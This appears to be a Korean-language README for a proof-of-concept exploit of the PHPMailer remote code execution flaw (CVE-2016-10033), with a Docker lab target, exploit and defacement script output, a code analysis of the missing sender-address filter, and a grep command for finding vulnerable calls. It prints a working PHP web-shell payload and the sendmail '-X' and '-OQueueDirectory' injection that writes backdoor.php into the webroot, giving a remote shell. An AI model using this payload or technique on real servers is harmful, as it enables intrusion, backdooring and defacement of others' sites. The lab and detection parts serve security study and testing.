
PHPMailer < 5.2.18 원격 코드 실행
PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 가장 인기 있는 전송 클래스입니다. 다운로드는 매일 상당한 속도로 계속되고 있습니다. 많은 오픈 소스 프로젝트(WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등)에서 사용됩니다.
PHPMailer 5.2.18 이전 버전은 원격 코드 실행(RCE)으로 이어질 수 있는 취약점을 가지고 있습니다. PHPMailer의 isMail 전송에서 mailSend 함수는 Sender 속성이 설정되지 않은 경우 원격 공격자가 조작된 From 주소에 " (백슬래시 큰따옴표)를 사용하여 mail 명령에 추가 매개변수를 전달하고 결과적으로 임의의 코드를 실행할 수 있습니다.
테스트를 위해 취약한 환경을 설정하려면 Docker가 설치되어 있어야 하며, 다음 명령을 실행하면 됩니다:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
그러면 호스트의 8080 포트에 취약한 웹 애플리케이션이 실행됩니다.

이 대상을 익스플로잇하려면 다음을 실행하세요:
./exploit host:port
이 취약한 이미지를 사용하는 경우 다음을 실행할 수 있습니다:
./exploit localhost:8080
익스플로잇 후, backdoor.php라는 파일이 웹 디렉토리의 루트 폴더에 저장됩니다. 그리고 익스플로잇은 백도어에 명령을 보낼 수 있는 셸을 제공합니다:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
그리고 그게 전부입니다. 셸을 얻었습니다. 또 다른 사용 사례를 보여주는 다른 익스플로잇이 있습니다.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
그리고 페이지를 다시 방문하면 다음과 같은 화면을 볼 수 있습니다:

이 커밋 이전의 class.phpmailer.php에서는 특정 시나리오에서 발신자 이메일 주소의 특수 문자에 대한 필터가 없습니다. 이 결함은 mail 함수 여기를 통해 원격 코드 실행으로 이어질 수 있습니다.
코드를 분석해 보면 mailSend() 함수에 필터가 없습니다.
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender가 $params 변수에 직접 추가됩니다. 이 변수는 validateAddress() 함수에서 필터링되었지만, RFC 3696 사양을 사용하기 때문에 문제를 일으킬 수 있는 특정 문자를 허용합니다. 이 경우 따옴표입니다:
백슬래시 문자를 사용한 인용 외에도, 일반적인 큰따옴표 문자를 사용하여 문자열을 둘러쌀 수 있습니다. 예를 들어
"Abc@def"@example.com
"Fred Bloggs"@example.com
위의 처음 두 예의 대체 형태입니다. 이러한 인용 형식은 거의 권장되지 않으며 실제로 드물지만, 위에서 논의한 바와 같이 이메일 주소를 처리하는 애플리케이션에서 지원되어야 합니다. 특히, 인용 형식은 다른 시스템이나 컨텍스트에서 전환과 관련된 주소의 맥락에서 자주 나타납니다. 이러한 전환 요구 사항은 여전히 발생하며, 사용자가 제공한 이메일 주소를 수락하는 시스템은 해당 주소가 레거시 시스템과 연관되어 있는지 "알" 수 없기 때문에 주소 형식이 수락되어 이메일 환경으로 전달되어야 합니다.
원한다면 전체 RFC를 여기에서 읽을 수 있습니다. 또한 PHP 버전이 5.2.0 미만이고 PCRE가 설치되지 않은 경우, validateAddress()의 $patternselect 변수가 noregex로 설정됩니다. 이로 인해 입력이 정규식 검사를 피할 수 있게 됩니다. 다음의 작은 검증만 통과하면 됩니다:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
그런 다음 코드 흐름은 mailPassthru() 함수로 이동합니다. 다음 코드에서 알 수 있듯이 safe_mode에서 실행 중인 경우 이 결함에 취약하지 않습니다.
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
하지만 safe_mode에서 실행 중이 아니라면, 우리의 특수 매개변수가 mail()에 전달되고, 운이 좋다면 우리가 원하는 내용을 담은 파일이 우리가 선택한 위치에 기록될 것입니다.
PHP mail() 함수의 익스플로잇은 새로운 것이 아니지만 여전히 살아있으며 사람들이 여전히 사용하고 있습니다. 작동 방식을 설명하기 위해 mail() 함수가 어떻게 정의되어 있는지 살펴보겠습니다:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
다른 결과를 위한 여러 익스플로잇 방법이 있으며, 우리는 원격 코드 실행(RCE)을 위해 5번째 매개변수의 익스플로잇에 초점을 맞출 것입니다. $additional_parameters 매개변수는 이메일을 보내도록 구성된 프로그램에 명령줄 옵션으로 추가 플래그를 전달하는 데 사용됩니다. 이 구성은 sendmail_path 변수에 의해 정의됩니다.
PHP 공식 문서의 보안 참고 사항:
additional_parameters 매개변수는 sendmail_path 구성 설정에 정의된 대로 메일을 보낼 때 사용하도록 구성된 프로그램에 추가 플래그를 명령줄 옵션으로 전달하는 데 사용할 수 있습니다. 예를 들어, -f sendmail 옵션과 함께 sendmail을 사용할 때 봉투 발신자 주소를 설정하는 데 사용할 수 있습니다.
이 매개변수는 명령 실행을 방지하기 위해 내부적으로 escapeshellcmd()에 의해 이스케이프됩니다. escapeshellcmd()는 명령 실행을 방지하지만 추가 매개변수를 추가하는 것은 허용합니다. 보안상의 이유로 사용자가 이 매개변수를 정리하여 셸 명령에 원하지 않는 매개변수가 추가되지 않도록 하는 것이 좋습니다.
주입 가능한 추가 매개변수를 고려하여 이 결함을 익스플로잇하기 위해 -X를 사용할 것입니다. -X 매개변수에 대한 자세한 내용:
-X 로그파일
표시된 로그 파일에 메일러의 모든 트래픽을 기록합니다. 이는 메일러 버그를 디버깅하기 위한 최후의 수단으로만 사용해야 합니다. 매우 빠르게 많은 데이터를 기록합니다.
존재하는 다른 흥미로운 매개변수도 알고 있어야 합니다:
-C파일
대체 구성 파일을 사용합니다. Sendmail은 대체 구성 파일이 지정되면 향상된(set-user-ID 또는 set-group-ID) 권한을 포기합니다.
그리고
-O 옵션=값
옵션을 지정된 값으로 설정합니다. 이 형식은 긴 이름을 사용합니다.
그리고 -O 옵션의 경우 QueueDirectory가 가장 흥미로운 옵션입니다. 이 옵션은 메시지를 대기시킬 디렉토리를 선택합니다.
매개변수와 옵션의 전체 목록을 읽으려면 man sendmail을 실행하거나 온라인 여기에서 읽으십시오.
이 정보와 다른 매개변수 중 적어도 하나를 제어할 수 있는 능력을 바탕으로 호스트를 익스플로잇할 수 있습니다. 성공적인 익스플로잇을 위한 단계는 다음과 같습니다:
$additional_parameters와 다른 mail() 매개변수를 제어webroot 아래의 모든 것일 수 있음(다른 시스템의 경우 /var/www/html, 이 예의 경우 /www)system() 페이로드를 사용하며, base64와 구문 분석을 쉽게 하기 위한 특수 문자 |를 추가함-X 옵션은 로그 파일을 작성하며, 이 로그 파일에는 로그 정보 중 PHP 페이로드가 포함되어 지정한 디렉토리에 저장됩니다. 취약한 PHP 코드의 예:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
위 코드를 실행하면 /www/backdoor.php에 로그 파일이 생성됩니다. 이것이 이 익스플로잇의 핵심입니다.
이 예제에서 사용된 페이로드는 다음과 같습니다:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
이 결함을 발견할 수 있는 쉽고, 한 줄 명령어를 원하시나요? 이 마법의 grep 명령어를 기억하세요!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
이 저장소에 대해 실행하면 다음과 같은 결과가 나타납니다:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
이 취약점은 Dawid Golunski에 의해 발견되었습니다.
이 프로그램 및 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이러한 프로그램이 제공하는 정보나 기능의 직접적 또는 간접적 사용으로 인해 발생하는 모든 손해에 대해 책임을 지지 않습니다. 작성자나 인터넷 제공자는 이러한 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 opsxcq의 책임이 아님을 인정합니다.